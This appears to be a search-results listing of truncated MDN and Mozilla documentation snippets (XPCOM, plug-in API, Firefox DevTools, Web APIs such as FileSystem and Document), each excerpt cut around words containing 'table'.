...query will be the same for each iteration, however, the reference point will differ. for instance, when examining an xml source, an xml query processor might begin at the node referred by the reference variable and end at a list of that node's children. some queries may not need the reference variable if the syntax or the form of the data implies the value. for instance, a datasource that holds a
table that can only produce one set of results. the reference variable may be specified in a template by setting the "container" attribute on the <template> element to the variable to use. the member variable may be specified in a similar way using the "member" attribute, or it may be specified in the first <action> body in the template as the value of a uri attribute on an element. a breadth-first sea...
XPCOM reference
l errors; like assertions, ns_errors should not be reachable.ns_if_addrefmacrons_if_releasemacrons_releasemacrons_warningmacronsgetmoduleprocthis function prototype provides the xpcom entry-point into a module.nsiabcard/thunderbird3the nsiabcard interface is used to represent and manipulate cards in the address book. in a big change from the original nsiabcard, properties are now stored in a hash
table instead of as attributes on the interface, allowing it to be more flexible.nsicookie2 mozilla 1 8 branchnsimsgsearchvaluedefined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl nsmsgmessageflagsthe nsmsgmessageflags interface describes possible flags for messages. equivalent flags are also defined in nsmsgmessageflags.h. nsmsgnavigationtypethe nsmsgnavigationtype interf...
... function. grouping and category names were made by somewhat arbitrary decision by the author. (i'm fully aware that this will be a great point of discussion and probably will end in tears, but since i'm the first person to apparently take a swing at this, i get first dibs.)xpcom primitivean xpcom primitive is an xpcom object that "boxes" a value of a primitive type. all xpcom primitives are scrip
table, and they all implement an xpcom interface from the
table below.xpcom string functionsxpcom provides these low-level string functions to let you work with strings; however, it's often better to use one of the string classes rather than directly using these functions. many xpcom pages return an nsresult. prior to gecko 19 (firefox 19 / thunderbird 19 / seamonkey 2.16), this was an integer th...
XPCOM tasks
unctionality, and implementations the following items are listed (very) roughly in their order of importance, i.e., fixing observers is the first thing i want to do. p1 various threading issues, e.g., too many locks. see bug 13009. not enough locks. see bug 5795, bug 12755, and bug 12755. p1 we would like to move to a scheme where no one writes queryinterface, and we save code-space with a
table driven implementation. a first step is moving all qi implementations to the
table-like macros already in place (and some slight modifications to those macros). see bug 23737 work is progressing on this. see in particular, the new ns_interface_map_... macros in "nsisupportsutils.h". p1 we need to use ns_get_iid instead of ns_define_iid. see bug 25886. work is progressing on this. p2 classes ...
... slight modifications to those macros). see bug 23737 work is progressing on this. see in particular, the new ns_interface_map_... macros in "nsisupportsutils.h". p1 we need to use ns_get_iid instead of ns_define_iid. see bug 25886. work is progressing on this. p2 classes that parallel standard library classes should have compatible apis, i.e., nsdeque bug 18505 nsstring nsavltree nshash
table our various array classes in some cases, this might initially be provided by additional interfaces. in all cases, we want to transition the primary apis toward the standard. p2 our various enumerator classes should be made compatible with the enumerators from the standard c library, so that we can apply the standard algorithms to our containers. this is probably best done with a c wrapper arou...
Xptcall Porting Status
</font> linux alpha glen nakamura <glen.nakamura@usa.net> dan morril <morrildl@nycap.rr.com> glen writes: i am attaching a patch which contains my linux alpha xptcall code. it passes testxptcinvoke and testxpc on my machine which runs kernel 2.2.7, glibc 2.1.1, and egcs 1.1.2. i have not tested it with older gnu compilers such as gcc 2.8.x. from looking at the linux x86 code, i gather that the v
table layout is a little different for those compilers and the code will need minor modifications in order to work properly. i am not sure how much of the code can be used for openvms alpha and/or digital unix. currently the code is dependent on the g++ name mangling convention and a few gnu extensions so i'm not sure how useful it will be for the other systems. hopefully the comments in the code are d...
... several releases of aix without any problems. <font color="white">done</font> irix jason heirtzler <jasonh@m7.engr.sgi.com> jason has declared this done. jason is no longer working at sgi and will not be maintaining this code. there is some doubt as to whether or not this is working for everyone - see bug #10061. mike shaver <shaver@mozilla.org> is the interim maintainer until someone more sui
table can be found. <font color="white">done</font> beos x86 duncan wilcox <duncan@be.com> unix (yet another reuse of the linux 86 code!) duncan says this is all working. he did the code for old cfront style 'this' adjustment for others to use too! <font color="white">help!</font> beos ppc - - <font color="white">done</font> compaq tru64 unix (digital unix) steve streeter <streeter@zk3.dec.com>...
Thunderbird Binaries
builds nightly builds are cutting-edge builds. they are built every 24 hours by the tinderboxes from the very latest source code. there are various sorts of nightly builds available for download. if you wish to download nightly builds to help us test for the next release, please read the testing page for where we need help. warning: whilst developers try to ensure that nightly builds are s
table, it is possible that errors can get into nightly builds that can destroy your data or harm it. they should only be used for testing purposes. if you wish to use a nightly build on your main profile, you should make sure you back up your profile. nightly builds from the comm-central trunk the trunk is the central source code that is used for continuous and ongoing development. trunk builds co...
...st-comm-central-l10n/ note: please use http://ftp.stage.mozaws.net/pub/thunderbird/nightly/latest-comm-central/ because the above two links currently do not work. frequently asked questions what is the trunk? the trunk is the central source code that is used for continuous and ongoing development. trunk builds contain the very latest bleeding-edge changes and updates. the trunk can be very uns
table at times, so it's good to ask around before using trunk builds. what is a branch? branches are "forks" in the code, split from the trunk and destined to become end-user releases. at conception, a branch contains everything that the trunk contains, but from that point onwards, only certain fixes or changes will be accepted. therefore, over time, the branch becomes more s
table. why branch? would...
Activity Manager examples
la.org/activity-event;1")); // the initiator of this particular event is copyservice. we want to // associate it with the event since we are going to use it in the // undo handler. // same for the source folder, it is required for undo operation, but // since it is the subject of this activity (event), it goes into the // subject list. ...
..., but // since it is the subject of this activity (event), it goes into the // subject list. ...
Virtualenv
rtualenv.py may also be run as standalone software with the same functionality. it will require it to be part of a clone of the github repository or have internet access to fetch setuptools. on mac os x, you will need xcode to use virtualenv. see this article for details. using virtualenv once you have virtualenv installed, you can make virtual environments: > virtualenv tmp new python execu
table in tmp/bin/python installing setuptools............done. installing pip...............done. a python binary, as well as easy_install and pip are available in the bin/ subdirectory (or scripts on windows). > ls tmp/bin/ activate activate.fish easy_install pip python activate.csh activate_this.py easy_install-2.7 pip-2.7 using this python binary, or these scripts (which p...
...n packages in the lib/python2.x/site-packages directory and they will be appropriately added to your import path (sys.path) via lib/python2.x/site.py. in order to get the virtualenv's python binary on your path, you should source the bin/activate script on unix or run activate.bat on windows. unix example . bin/activate once the virtualenv is activated, the virtualenv's python (and other execu
tables) will be on your path and you will have a new environment variable, virtual_env, that points to the path of the virtualenv, as well as a deactivate function for deactivating the virtualenv. virtualenv tools virtualenv does one thing well: creates isolated virtual environments of python packages. due to its utility, tools have been built around this functionality. here are a few such tools: ...
Working with windows in chrome code
dow to open a xul window. the problem is passing the data. it's a bit harder than using window.opendialog. ...
...w: function opendialog(parentwindow, url, windowname, features) { var array = components.classes["@mozilla.org/array;1"] .createinstance(components.interfaces.nsimu
tablearray); for (var i = 4; i < arguments.length; i++) { var variant = components.classes["@mozilla.org/variant;1"] .createinstance(components.interfaces.nsiwri
tablevariant); variant.setfromvariant(arguments[i]); array.appendelement(variant, false); } var watcher = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getservice(components.interfaces.nsiwindowwatcher); return watcher.openwindow(parentwindow, url, windowname, features, array); } the function almost works the same as window.ope...
Type conversion
target type source type ctypes.int16_t ctypes.int8_t ctypes.uint8_t ctypes.short ctypes.uint16_t ctypes.uint8_t ctypes.unsigned_short ctypes.short ctypes.int8_t ctypes.uint8_t ctypes.int16...
...r mystruct = ctypes.structtype("mystructtype", [ { "v": ctypes.int16_t } ])(); mystruct.v = 0x41; console.log(mystruct.v.tostring()); // 65 mystruct.v = true; console.log(mystruct.v.tostring()); // 1 mystruct.v = "x"; // throws error integer/float types are implicitly convertible if any data of source type could be represen
table in the target type. note that the following
table does not contain environment dependent types (ctypes.long, etc.). target type source type ctypes.int16_t ctypes.int8_t ctypes.uint8_t ctypes.short ctypes.uint16_t ctypes.uint8_t ctypes.unsigned_short ctypes.short ctypes.int8_t ctypes.uint8_t ctypes.int16_t ctypes.unsigned_short ctypes.uint8_t...
Constants - Plugins
nce to the program definitions used by the plug-in api. all program definitions are found in npapi.h. error codes code value description nperr_no_error 0 no errors occurred. nperr_generic_error 1 error with no specific error code occurred. nperr_invalid_instance_error 2 invalid instance passed to the plug-in. nperr_invalid_func
table_error 3 function
table invalid. nperr_module_load_failed_error 4 loading of plug-in failed. nperr_out_of_memory_error 5 memory allocation failed. nperr_invalid_plugin_error 6 plug-in missing or invalid. nperr_invalid_plugin_dir_error 7 plug-in directory missing or invalid. nperr_incompatible_version_error 8 versions ...
... 8 streaming data. npvers_has_notification 9 notification of completion. npvers_has_liveconnect 9 liveconnect. npvers_win16_has_liveconnect 9 liveconnect (win16). npvers_68k_has_liveconnect 11 liveconnect (68k). npvers_has_windowless 11 windowless plug-in. npvers_has_xpconnect_scripting 13 plug-in is scrip
table using xpconnect. npvers_has_npruntime_scripting 14 plug-in is scrip
table using npruntime. npvers_has_form_values 15 nppvformvalue nppvariables are supported. npvers_has_popups_enabled_state 16 the npn_pushpopupsenabledstate() and npn_poppopupsenabledstate() functions are supported. npvers_has_response_headers 17 npstreams have response h...
Plug-in Basics - Plugins
mory, if it hasn't been loaded already, and it creates a new instance of the plug-in. gecko calls the plug-in api function np_initialize when the plug-in code is first loaded. by convention, all of the plug-in specific functions have the prefix "npp", and all of the browser-specific functions have the prefix "npn". note: np_initialize and np_shutdown are not technically a part of the function
table that the plug-in hands to the browser. the browser calls them when the plug-in software is loaded and unloaded. these functions are exported from the plug-in dll and accessed with a system
table lookup, which means that they are not related to any particular plug-in instance. again, see initialization and destruction for more information about initializing and destructing. the browser calls t...
...ess plug-ins you can write plug-ins that are drawn in their own native windows or frames on a web page. alternatively, you can write plug-ins that do not require a window to draw into. using windowless plug-ins extends the possibilities for web page design and functionality. note, however, that plug-ins are windowed by default, because windowed plug-ins are in general easier to develop and more s
table to use. a windowed plug-in is drawn into its own native window on a web page. windowed plug-ins are opaque and always come to the top html section of a web page. a windowless plug-in need not be drawn in a native window; it is drawn in its own drawing target. windowless plug-ins can be opaque or transparent, and can be invoked in html sections. whether a plug-in is windowed or windowless de...
Gecko Plugin API Reference - Plugins
embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins ms windows unix mac os x drawing a plug-in instance handling memory sending and receiving streams working with urls getting version and ui information displaying messages on the status line making plug-ins scrip
table building plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native installers xpi plug-ins installations plug-in installation and the windows registry initialization and destruction initialization instance creation instance destruction shutdown initialize and shutdown example drawing...
...l of these methods begin with npn_ to indicate that they are implemented by the browser and called by the plug-in. for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. warning: you must only call these from the main thread; calling them from other threads is not supported and may have unpredic
table results. npn_destroystream closes and deletes a stream. npn_forceredraw forces a paint message for a windowless plug-in. npn_getauthenticationinfo this function is called by plug-ins to get http authentication information from the browser. npn_geturl asks the browser to create a stream for the specified url. npn_geturlnotify requests creation of a new stream with the contents of the s...
Debugger.Environment - Firefox Developer Tools
ugger gets a separate debugger.environment instance for a given environment. this allows the code using each debugger instance to place whatever properties it likes on its own debugger.object instances, without worrying about interfering with other debuggers.) if a debugger.environment instance’s referent is not a debuggee environment, then attempting to access its properties (other than inspec
table) or call any its methods throws an instance of error. debugger.environment instances protect their referents from the garbage collector; as long as the debugger.environment instance is live, the referent remains live. garbage collection has no visible effect on debugger.environment instances. accessor properties of the debugger.environment prototype object a debugger.environment instance inher...
...vironment instances protect their referents from the garbage collector; as long as the debugger.environment instance is live, the referent remains live. garbage collection has no visible effect on debugger.environment instances. accessor properties of the debugger.environment prototype object a debugger.environment instance inherits the following accessor properties from its prototype: inspec
table true if this environment is a debuggee environment, and can therefore be inspected. false otherwise. all other properties and methods of debugger.environment instances throw if applied to a non-inspec
table environment. type the type of this environment object, one of the following values: “declarative”, indicating that the environment is a declarative environment record. functio...
Debugger.Frame - Firefox Developer Tools
terfering with other debuggers.) when the debuggee pops a stack frame (say, because a function call has returned or an exception has been thrown from it), the debugger.frame instance referring to that frame becomes inactive: its live property becomes false, and accessing its other properties or calling its methods throws an exception. note that frames only become inactive at times that are predic
table for the debugger: when the debuggee runs, or when the debugger removes frames from the stack itself. visible frames when inspecting the call stack, debugger does not reveal all the frames that are actually present on the stack: while it does reveal all frames running debuggee code, it omits frames running the debugger’s own code, and omits most frames running non-debuggee code. we call those ...
... frame. generator true if this frame is a generator frame, false otherwise. constructing true if this frame is for a function called as a constructor, false otherwise. arguments the arguments passed to the current frame, or null if this is not a "call" frame. when non-null, this is an object, allocated in the same global as the debugger, with array.prototype on its prototype chain, a non-wri
table length property, and properties whose names are array indices. each property is a read-only accessor property whose getter returns the current value of the corresponding parameter. when the referent frame is popped, the argument value’s properties’ getters throw an error. handler methods of debugger.frame instances each debugger.frame instance inherits accessor properties holding handler f...
Debugger.Object - Firefox Developer Tools
e. seal() prevent properties from being added to or deleted from the referent. return this debugger.object instance. (this function behaves like the standard object.seal function, except that the object to be sealed is implicit and in a different compartment from the caller.) freeze() prevent properties from being added to or deleted from the referent, and mark each property as non-wri
table. return this debugger.object instance. (this function behaves like the standard object.freeze function, except that the object to be sealed is implicit and in a different compartment from the caller.) preventextensions() prevent properties from being added to the referent. (this function behaves like the standard object.preventextensions function, except that the object to operate on is imp...
... attributes of the property other than its value are being changed; if only the value is changing, spidermonkey calls the handler's set method. set(frame,oldvalue,newvalue) the data property namedname of the referent is about to have its value changed fromoldvalue tonewvalue. spidermonkey only calls this method on assignments to data properties that will succeed; assignments to un-wri
table data properties fail without notifying the debugger. extensionsprevented(frame) the referent has been made non-extensible, as if by a call to object.preventextensions. for all watchpoint handler methods: handler calls receive the handler object itself as the this value. theframe argument is the current stack frame, whose code is about to perform the operation on...
Aggregate view - Firefox Developer Tools
before firefox 48, this was the default view of a heap snapshot. after firefox 48, the default view is the tree map view, and you can switch to the aggregate view using the dropdown labeled "view:": the aggregate view looks something like this: it presents a breakdown of the heap's contents, as a
table. there are three main ways to group the data: type call stack inverted call stack you can switch between them using the dropdown menu labeled "group by:" located at the top of the panel: there's also a box labeled "filter" at the top-right of the pane. you can use this to filter the contents of the snapshot that are displayed, so you can quickly see, for example, how many objects of a specific class were allocated. type this is the default view, which looks something like ...
...d. type this is the default view, which looks something like this: it groups the things on the heap into types, including: javascript objects: such as function or array dom elements: such as htmlspanelement or window strings: listed as "strings" javascript sources: listed as "jsscript" internal objects: such as "js::shape". these are prefixed with "js::". each type gets a row in the
table, and rows are ordered by the amount of memory occupied by objects of that type. for example, in the screenshot above you can see that javascript objects account for most memory, followed by strings. the "total count" column shows you the number of objects of each category that are currently allocated. the "total bytes" column shows you the number of bytes occupied by objects in each category,...
Inspecting web sockets - Firefox Developer Tools
for just web socket connections. only requests with the 101 status code (websocket protocol handshake) are visible, which indicates that the server is switching to a web socket connection. clicking on a web socket request opens the usual sidebar to reveal additional details. choose the reponse tab to inspect web socket frames sent and received through the selected connection. the live-updated
table shows data for sent (green arrow) and received (red arrow) frames. each frame expands on click, so you can inspect the formatted data. pausing web socket traffic you can use the pause/resume button in the network monitor toolbar to stop intercepting web socket traffic. this allows you to capture only the frames that you are interested in. filtering web socket frames to focus on specific mes...
...trol frames sent by the browser. columns in the response pane in the response pane, you can choose to show the following information about each frame: data size time opcode maskbit finbit the data and time columns are visible by default, but you can customize the interface to see more columns by choosing which ones to show from the context menu that is opened by right-clicking in the
table header. expanding each message selecting a message in the list shows a preview of the data being sent in that message, at the bottom of the response pane. supported ws protocols the inspector currently supports the following web socket protocols: plain json socket.io sockjs signalr wamp the payload based on those protocols is parsed and displayed as an expandable tree for easy in...
Cookies - Firefox Developer Tools
value — the value of the cookie. domain — the domain of the cookie. path — the path property of the cookie. expires / max-age — the time when the cookie will expire. if the cookie is a session cookie, the value of this column will be "session" size — the size of the cookie name plus value in bytes. ...
...tiated from the same registrable domain. last accessed — date and time when the cookie was last read. created — date and time when the cookie was created. hostonly — is this cookie a domain cookie? that is, the domain value matches exactly the domain of the current website. note: some of the columns are not shown by default — to change the column display, right-click on the existing
table headings and use the resulting context menu to show/hide the columns. you can edit cookies by double-clicking inside cells in the
table widget and editing the values they contain, and add new cookies by clicking the "plus" (+) button and then editing the resulting new row to the value you want. context menu the context menu for each cookie includes the following commands: add item - add a ...
Console messages - Firefox Developer Tools
. logging messages logged from shared workers, service workers, add-ons, and chrome workers are not shown by default. use the filtering feature to show them. the logging category includes messages logged using the console api. the web console supports the following console api messages: assert() clear() count() dir() dirxml() error() exception() group() groupend() info() log()
table() time() timeend() trace() warn() the console prints a stack trace for all error messages, like this: function foo() { console.error("it explodes"); } function bar() { foo(); } function dostuff() { bar(); } dostuff(); server server-side log messages was introduced in firefox 43, but removed in firefox 56. you can install the chrome logger extension to (re)-enable the feature. ...
......
Applying styles and colors - Web APIs
yid('miterlimit').value.match(/\d+(\.\d+)?/)) { ctx.miterlimit = parsefloat(document.getelementbyid('miterlimit').value); } else { alert('value must be a positive number'); } // draw lines ctx.beginpath(); ctx.moveto(0, 100); for (i = 0; i < 24 ; i++) { var dy = i % 2 == 0 ? ...
...the setlinedash method accepts a list of numbers that specifies distances to alternately draw a line and a gap and the linedashoffset property se...
CountQueuingStrategy - Web APIs
ingstrategy interface of the the streams api provides a built-in chunk counting queuing strategy that can be used when constructing streams. constructor countqueuingstrategy() creates a new countqueuingstrategy object instance. properties none. methods countqueuingstrategy.size() returns 1. examples const queueingstrategy = new countqueuingstrategy({ highwatermark: 1 }); const wri
tablestream = new wri
tablestream({ // implement the sink write(chunk) { ... }, close() { ... }, abort(err) { console.log("sink error:", err); } }, queueingstrategy); var size = queueingstrategy.size(); specifications specification status comment streamsthe definition of 'countqueuingstrategy' in that specification. living standard initial defi...
...rite(chunk) { ... }, close() { ... }, abort(err) { console.log("sink error:", err); } }, queueingstrategy); var size = queueingstrategy.size(); specifications specification status comment streamsthe definition of 'countqueuingstrategy' in that specification. living standard initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcountqueuingstrategy experimentalchrome full supp...
DOMHighResTimeStamp - Web APIs
s the first one loaded in the window, the time origin is the time at which the browser context was created. if during the process of unloading the previous document which was loaded in the window, a confirmation dialog was displayed to let the user confirm whether or not to leave the previous page, the time origin is the time at which the user confirmed that navigating to the new page was accep
table. if neither of the above determines the time origin, then the time origin is the time at which the navigation responsible for creating the window's current document took place. if the script's global object is a workerglobalscope (that is, the script is running as a web worker), the time origin is the moment at which the worker was created. in all other cases, the time origin is undefin...
...s specification status comment high resolution time level 2the definition of 'domhighrestimestamp' in that specification. recommendation stricter definitions of interfaces and types. high resolution timethe definition of 'domhighrestimestamp' in that specification. recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdomhighrestimestampchrome full support ...
DOMPoint.fromPoint() - Web APIs
the source point is specified as a dompointinit-compatible object, which includes both dompoint and dompointreadonly. you can also create a new dompoint object using the new dompoint() constructor. although this interface is based on dompointreadonly, it is not read-only; the properties within may be changed at will. syntax var point = dompoint.frompoint(sourcepoint); properties sourcepoint a dompointinit-compliant object, which includes both dompoint and dompointreadonly, from which to take the values of the new point's properties. ...
...y be changed at will. syntax var point = dompoint.frompoint(sourcepoint); properties sourcepoint a dompointinit-compliant object, which includes both dompoint and dompointreadonly, from which to take the values of the new point's properties. return value a new dompoint object whose coordinate and perspective values are identical to those in the source point. the point's properties are mu
table and may be changed at any time. examples creating a mu
table point from a read-only point if you have a dompointreadonly object, you can easily create a mu
table copy of that point: var mu
tablepoint = dompoint.frompoint(readonlypoint); creating a 2d point this sample creates a 2d point, specifying an inline object that includes the values to use for x and y. the z and w properties are allowed...
DataTransferItem.webkitGetAsEntry() - Web APIs
irectories to the box below!</p> <div id="dropzone"> <div id="boxtitle"> drop files here </div> </div> <h2>directory tree:</h2> <ul id="listing"> </ul> css content the styles used by the example are shown here. #dropzone { text-align: center; width: 300px; height: 100px; margin: 10px; padding: 10px; border: 4px dashed red; border-radius: 10px; } #boxtitle { display:
table-cell; vertical-align: middle; text-align: center; color: black; font: bold 2em "arial", sans-serif; width: 300px; height: 100px; } body { font: 14px "arial", sans-serif; } javascript content first, let's look at the recursive scanfiles() function. this function takes as input a filesystementry representing an entry in the file system to be scanned and processed (the item paramete...
...w. find some files and directories and drag them in, and take a look at the resulting output. specifications specification status comment file and directory entries apithe definition of 'webkitgetasentry()' in that specification. draft initial specification. this api has no official w3c or whatwg specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwebkitgetasentrychrome full support ...
Document.designMode - Web APIs
document.designmode controls whether the entire document is edi
table. valid values are "on" and "off". according to the specification, this property is meant to default to "off". firefox follows this standard. the earlier versions of chrome and ie default to "inherit". starting in chrome 43, the default is "off" and "inherit" is no longer supported. in ie6-10, the value is capitalized. syntax var mode = document.designmode; document.designmode = value; value a string indicating whether designmode is (or should be) set to on or off. valid values are on and off. ...
...e earlier versions of chrome and ie default to "inherit". starting in chrome 43, the default is "off" and "inherit" is no longer supported. in ie6-10, the value is capitalized. syntax var mode = document.designmode; document.designmode = value; value a string indicating whether designmode is (or should be) set to on or off. valid values are on and off. example make an <iframe>'s document edi
table: iframenode.contentdocument.designmode = "on"; specifications specification status comment html living standardthe definition of 'designmode' in that specification. living standard initial definition. ...
Document - Web APIs
it provides functionality globally to the document, like how to obtain the page's url and create new elements in the document. ...
...n. extension for html documents the document interface for html documents inherit from the htmldocument interface or, since html5, is extended for such documents: document.clear() in majority of modern browsers, including recent versions of firefox and internet explorer, this method does nothing. document.close() closes a document stream for writing. document.execcommand() on an edi
table document, executes a formating command. document.getelementsbyname() returns a list of elements with the given name. document.hasfocus() returns true if the focus is currently located anywhere inside the specified document. document.open() opens a document stream for writing. document.querycommandenabled() returns true if the formating command can be executed on the current range. docume...
Document Object Model (DOM) - Web APIs
in the different dom level 3 or earlier specifications have been removed. it is uncertain whether some may be reintroduced in the future or not, but for the time being they should be considered obsolete and should be avoided: documenttouch domconfiguration domerrorhandler domimplementationlist domimplementationregistry domimplementationsource domlocator domobject domset
tabletokenlist domuserdata elementtraversal entity entityreference namelist notation typeinfo userdatahandler html dom a document containing html is described using the document interface, which is extended by the html specification to include various html-specific features. in particular, the element interface is enhanced to become htmlelement and various subclasses, each...
...ist svganimatedpathdata svganimatedpoints svganimatedpreserveaspectratio svganimatedrect svganimatedstring svganimatedtransformlist smil-related interfaces elementtimecontrol timeevent other svg interfaces getsvgdocument shadowanimation svgcolorprofilerule svgcssrule svgdocument svgexception svgexternalresourcesrequired svgfittoviewbox svglangspace svgloca
table svgrenderingintent svgstylable svgtests svgtransformable svgunittypes svguseelementshadowroot svgurireference svgviewspec svgzoomandpan svgzoomevent specifications specification status comment dom living standard ...
Element: copy event - Web APIs
ard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.preventdefault(). however, the handler cannot read the clipboard data. it's possible to construct and dispatch a synthetic copy event, but this will not affect the system clipboard. ...
...arddata property, and cancelling the event's default action using event.preventdefault(). however, the handler cannot read the clipboard data. it's possible to construct and dispatch a synthetic copy event, but this will not affect the system clipboard. ...
Element.getAnimations() - Web APIs
it can optionally return animation objects for descendant elements too. note: this array includes css animations, css transitions, and web animations. syntax const animations = element.getanimations(options); parameters options optional an options object containing the following property: subtree a boolean value which, if true, causes animations that target descendants of element to be returned as well. ...
... is specified. examples the following code snippet will wait for all animations on elem and its descendants to finish before removing the element from the document. promise.all( elem.getanimations({ subtree: true }) .map(animation => animation.finished) ).then(() => elem.remove()); specifications specification status comment web animationsthe definition of 'anima
table.getanimations()' in that specification. working draft editor's draft. ...
Element.slot - Web APIs
yntax var astring = element.slot element.slot = astring value a domstring. examples in our simple-template example (see it live), we create a trivial custom element example called <my-paragraph> in which a shadow root is attached and then populated using the contents of a template that contains a slot named my-text. when <my-paragraph> is used in the document, the slot is populated by a slo
table element by including it inside the element with a slot attribute with the value my-text. here is one such example: <my-paragraph> <span slot="my-text">let's have some different text!</span> </my-paragraph> in our javascript file we get a reference to the <span> shown above, then log a reference to the name of the corresponding <slot> element. let slottedspan = document.queryselector('my-para...
...the <span> shown above, then log a reference to the name of the corresponding <slot> element. let slottedspan = document.queryselector('my-paragraph span') console.log(slottedspan.slot); // logs 'my-text' specifications specification status comment domthe definition of 'slot' in that specification. living standard browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetslotchrome full support ...
FileSystemDirectoryEntry.getDirectory() - Web APIs
property is true, and the requested file or directory doesn't exist, the user agent should create it. the default is false. the parent directory must already exist. exclusive optional if true, and the create option is also true, the file must not exist prior to issuing the call. instead, it must be possible for it to be created newly at call time. the default is false. values and results the
table below describes the result of each possible combination of these flags depending on whether or not the target file or directory path already exists. option values file/directory condition result create exclusive false n/a[1] path exists and matches the desired type (depending on whether the function called is getfile() or getdirectory() the succes...
...ed successfully (as indicated by the loadend event being fired), the loaded text is passed into json.parse() to be reconstituted into a javascript object. specifications specification status comment file and directory entries apithe definition of 'getdirectory()' in that specification. draft initial specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetdirectory experimentalchrome full support ...
FileSystemDirectoryEntry.getFile() - Web APIs
property is true, and the requested file or directory doesn't exist, the user agent should create it. the default is false. the parent directory must already exist. exclusive optional if true, and the create option is also true, the file must not exist prior to issuing the call. instead, it must be possible for it to be created newly at call time. the default is false. values and results the
table below describes the result of each possible combination of these flags depending on whether or not the target file or directory path already exists. option values file/directory condition result create exclusive false n/a[1] path exists and matches the desired type (depending on whether the function called is getfile() or getdirectory() the succes...
... loaded successfully (as indicated by the loadend event being fired), the loaded text is passed into json.parse() to be reconstituted into a javascript object. specifications specification status comment file and directory entries apithe definition of 'getfile()' in that specification. draft initial specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetfile experimentalchrome full support ...
FileSystemDirectoryReader.readEntries() - Web APIs
irectories to the box below!</p> <div id="dropzone"> <div id="boxtitle"> drop files here </div> </div> <h2>directory tree:</h2> <ul id="listing"> </ul> css content the styles used by the example are shown here. #dropzone { text-align: center; width: 300px; height: 100px; margin: 10px; padding: 10px; border: 4px dashed red; border-radius: 10px; } #boxtitle { display:
table-cell; vertical-align: middle; text-align: center; color: black; font: bold 2em "arial", sans-serif; width: 300px; height: 100px; } body { font: 14px "arial", sans-serif; } javascript content first, let's look at the recursive scanfiles() function. this function takes as input a filesystementry representing an entry in the file system to be scanned and processed (the item paramete...
...ory. result you can see how this works by trying it out below. find some files and directories and drag them in, and take a look at the resulting output. specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadentries deprecatednon-standardchrome full sup...
FileSystemFlags.create - Web APIs
the create property on the filesystemflags dictionary is used to indicate whether or not the file should be created if it's missing. filesystemflags is only used when calling filesystemdirectoryentry.getfile() or filesystemdirectoryentry.getdirectory(). syntax filesystemflags.create = booleanvalue values the
table below describes the result of each possible combination of these flags depending on whether or not the target file or directory path already exists. option values file/directory condition result create exclusive false n/a[1] path exists and matches the desired type (depending on whether the function called is getfile() or getdirectory() the successcallback is called with a filesystemfileentry if getfile() was called or ...
...systemdirectoryentry is passed to the successcallback, as appropriate. [1] when create is false, the value of exclusive is irrelevant and ignored. specifications specification status comment file and directory entries apithe definition of 'filesystemflags' in that specification. draft initial specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreate experimentalchrome full support ...
FileSystemFlags.exclusive - Web APIs
the exclusive property on the filesystemflags dictionary is used in tandem with the create property to determine whether or not it's accep
table to require that the file not already exist when the reference to it is created by calling filesystemdirectoryentry.getfile() or filesystemdirectoryentry.getdirectory(). syntax filesystemflags.exclusive = booleanvalue values the
table below describes the result of each possible combination of these flags depending on whether or not the target file or directory path already exists. option values file/directory condition result create exclusive false n/a[1] path exists and matches the desired type (depending on whether the function called is getfile() or getdirectory() the successcallback is...
...systemdirectoryentry is passed to the successcallback, as appropriate. [1] when create is false, the value of exclusive is irrelevant and ignored. specifications specification status comment file and directory entries apithe definition of 'filesystemflags' in that specification. draft initial specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetexclusive experimentalchrome full support ...
FileSystemFlags - Web APIs
property is true, and the requested file or directory doesn't exist, the user agent should create it. the default is false. the parent directory must already exist. exclusive optional if true, and the create option is also true, the file must not exist prior to issuing the call. instead, it must be possible for it to be created newly at call time. the default is false. values and results the
